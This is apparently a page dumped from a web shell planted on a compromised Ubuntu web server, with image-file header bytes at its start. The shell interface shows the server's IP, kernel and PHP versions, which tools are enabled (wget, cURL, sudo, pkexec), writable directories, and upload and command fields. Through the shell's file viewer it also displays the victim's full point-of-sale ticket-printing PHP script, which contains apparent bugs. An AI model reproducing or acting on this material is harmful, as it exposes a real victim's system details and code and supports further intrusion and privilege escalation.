����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.137.163.99
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/app6/application/sales1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/app6/application/sales1/Ticket_sinDetalle.php
<?php
$titlepage="ticket";
date_default_timezone_set("America/Mexico_City");
include "../../library/config.php";
require_once ("../model/dbconn.php");
require_once ("../model/pos.php");
include "../layout/top-header.php"; 
include "../../pos11/core/autoload.php";
include "../../pos11/core/app/model/ProductData.php";
include "../../pos11/core/app/model/OperationData.php";
include "../../pos11/core/app/model/OperationTypeData.php";
include "../../pos11/core/app/model/StockData.php";
include "../../pos11/core/app/model/ConfigurationData.php";
include "../../pos11/core/app/model/SellData.php";
include "../../pos11/core/app/model/PersonData.php";
include "../../pos11/core/app/model/PaymentData.php";
include "../../pos11/core/app/model/FData.php";

if(!isset($_POST['id_sales'])) 
{
	die("Lo sentimos, el navegador no se puede actualizar para la seguridad de los datos. Vuelva a imprimir a través del formulario de reimpresión!!");
}
$id_sales=$_POST['id_sales'];

$pos = new pos();
$sale = $pos->getSaleId($id_sales);

if($sale[0] == false)
{
	die('Error : '.$sale[1]);
}
$transaction_date = $sale[1]['sale_date'];
$customer = 'Customer';
$disc_rp =$sale[1]['disc_rp'];
$tax =0;
$note=$sale[1]['note'];
$nopage = 1;
$nopagelast = 0; 
$cashier = $sale[1]['username'];


$xshop = $pos->getrefsytemX();
$shop = $xshop[1]['name_shop'];
$address = $xshop[1]['address_shop'];
$phone = $xshop[1]['phone_shop'];


//buscamos de manera mas seggura la venta en sell
$sell = $pos->getlistSell($sale[1]['sale_id']);
//print_r($sell);
$sell_id=$sell[1]['id'];

			$total = 0;
			$settingsRFC = ConfigurationData::getByIdRFC();
			$settings2 = ConfigurationData::getById1();
			$settingsEmisor = ConfigurationData::getByIdEmisor();
			$settingsCalle = ConfigurationData::getByIdCalle();
			$settingsInt = ConfigurationData::getByIdInt();
			$settingsExt = ConfigurationData::getByIdExt();
			$settingsColonia = ConfigurationData::getByIdColonia();
			$settingsCity = ConfigurationData::getByIdCity();
			$settingsCP = ConfigurationData::getByIdCp();
			$logo = ConfigurationData::getByPreffix("report_image")->val;//
		    $ruta_logo = "../../pos11/storage/configuration/$logo";
?>

<form class="form-horizontal" method="post" enctype="multipart/form-data" id="factura" action="#" role="form">
	<section class="content">
				<div class="btn-group pull-center">
			<button type="button" class="btn btn-default dropdown-toggle" data-toggle="dropdown">
						<i class="fa fa-download"></i> Ticket <span class="caret"></span>
			</button>
					  <ul class="dropdown-menu" role="menu">
						<li><a href="../pos36/pos11/report/onesell-word.php?id=<?php echo $sell_id;?>">Word 2007 (.docx)</a></li>
							<li><a href="../pos36/pos11/report/onesell-word.php?id=<?php echo $sell_id;?>">Guardar (.pdf)</a></li>
						<li><a href="../pos36/pos11/report/factura_ticket-xlsx.php?sale_id=<?php echo $sale_id;?>&id=<?php echo $sell_id;?>">Generar Fatura</a></li>
					  </ul>
		</div>
					
					<?php //id de la venta?>
					<input type="hidden" name="sell_id" value="<?php echo $sell_id; ?>">
					
					<?php //Menu derecho?>
	
		
		<?php //empieza la impresion del ticket?>
					<!DOCTYPE html>
					<html>
						<head>
							<meta charset="UTF-8">
							<title></title>
							<script type="text/javascript">
								function imprimir() {
									if (window.print) {
										window.print();
									} else {
										alert("La función de impresion no esta soportada por su navegador.");
									}
								}
							</script>
						</head>
						<body onload="imprimir()" >
							<?php //encabezado de ticket?>
							<div class="row">
								<div class="col-md-4">
									<div class="box box-primary">
											<table class="table table-bordered">
													<tr>
														<td align="center"><img style=" border-radius: 50%;" src="<?php echo $ruta_logo;?>" width="120" height="120"></td>
													</tr>
													<tr>
														<td colspan="2" align="center"><?php echo $settingsEmisor->val;?></td>
													</tr> 
													<tr>
														<td colspan="2" align="center"><?php echo $settings2->val;?></td>
													</tr> 
													<tr>
														<td colspan="2" align="center"><?php echo $settingsCalle->val; echo " "; echo $settingsInt->val; echo " "; echo $settingsExt->val; echo " "; echo $settingsColonia->val;?>
														</td>
													</tr> 

											</table>
									</div>  
								</div>
							</div>
							<div class="row">
								<div class="col-md-4">
									<div class="box box-primary">
										<table class="table table-bordered">
											<?php 
											$time = time();
											
											if(isset($sell_id[1]['person_id'])){
												$client = $sell_id[1]['person_id']->getPerson();	
												if($client->name != "MOSTRADOR"){	
												?>
												<tr>
													<th  align="right">Cliente(RFC):</th>
													<td colspan="4" ><input align="center" class="form-control" name="rfc" value="<?php echo $client->rfc;?>" placeholder="Ingrese RFC para Factura Rapida"></input></td>
													<td colspan="1" align="center"><?php echo $client->id_cust;?></td>
												</tr>
												<?php 
												}
											}
											?>
											<tr>
											  <td><b> Almacen: </b></td>
											  <td colspan="2" align="left" id="created_at"><?php echo  StockData::getById( $sale[1]['stock_id'] )->name; ?></td>
											  <td colspan="2" align="right" id="cajero">Cajero: </td>
												<td colspan="2" align="center" id="cajero"><?php echo $sale[1]['id_seller'] ; ?> </td>
											</tr>
											<tr>
											  <td><b> Fecha Venta: </b></td>
											  <td colspan="2" align="left" id="date_sale"><?php echo $sale[1]['sale_date'] ; ?></td>
											  
											   <td colspan="2" align="right" id="ticket">Ticket: </td>
												<td colspan="2" align="left" id="ticket"><b><?php echo $sell_id ; ?></b> </td>
											</tr>
										</table>
									</div>  
								</div>
							</div>
							
							
							<?php //pie del ticket   ?>
							<div class="row">
							<div class="col-md-4">
								<div class="box box-primary">
									<table class="table table-bordered">
									<tr>
										<td>Subtotal total :</td>
										<td></td>
										<td align="right"><u><b>$ <?php echo number_format($sale[1]['total'],2,'.',','); ?></b></u></td>
									</tr>
									
									
									<?php 
										//FORMAS DE PAGO
										$MontoPago2 = abs($sell[1]['total']-$sell[1]['cash']);
										
										  $NameP1 = FData::getById($sale[1]['f_pago1']);
										  $NameP2 = FData::getById($sale[1]['f_pago2']);
										if($sell[1]['cash'] < $sell[1]['total']):
									?>
										
										<tr>
											<td colspan="2">forma de pago 1(<?php echo $NameP1->name;?>):</td>
											
											<td align="right">$ <?php echo number_format($sale[1]['cash'],2,'.',','); ?></td>	
										</tr>

										<tr>
											<td colspan="2">forma de pago 2(<?php echo $NameP2->name;?>):</td>
											
											<td align="right">$ <?php echo number_format($MontoPago2,2,'.',','); ?></td>	
										</tr>
									<?php else:?>		
										<tr>
											<td colspan="2">Importe Recibido(<?php echo $NameP1->name;?>):</td>
											<td align="right">$ <?php echo number_format($sell[1]['cash'],2,'.',','); ?></td>	
										</tr>
										
											<?php 
											$cambio=$sell[1]['cash']- $sell[1]['total'];
											?>
										
												<tr>
												<td colspan="2">Cambio: </td>
												<td align="right">$ <?php echo number_format($cambio,2,'.',','); ?></td>
												</tr>
											
									<?php endif;?>
									  
									
									
									
									
									<tr>
										<td>Descuento(%):</td>
										<td></td>
										<td align="right"> <?php echo number_format($sell[1]['discount'],2,'.',','); ?>  %</td>
									</tr>
								
									
									<tr>
										<td>Gran total :</td>
										<td></td>
										<td align="right"><u><b>$ <?php echo number_format($sale[1]['total'],2,'.',','); ?></b></u></td>
									</tr>
									
									
									
									</table>
								</div>
							</div>
						</div>
							
							
							
						
						</body>
					</html>
					
					
					
	</section>	
</form>


<?php include "../layout/bottom-footer.php"; //footer template ?> 
<script src="../../plugins/datepicker/bootstrap-datepicker.js"></script>
<script src="../../dist/js/redirect.js"></script>
<script src="j_pos.js"></script>

Youez - 2016 - github.com/yon3zu
LinuXploit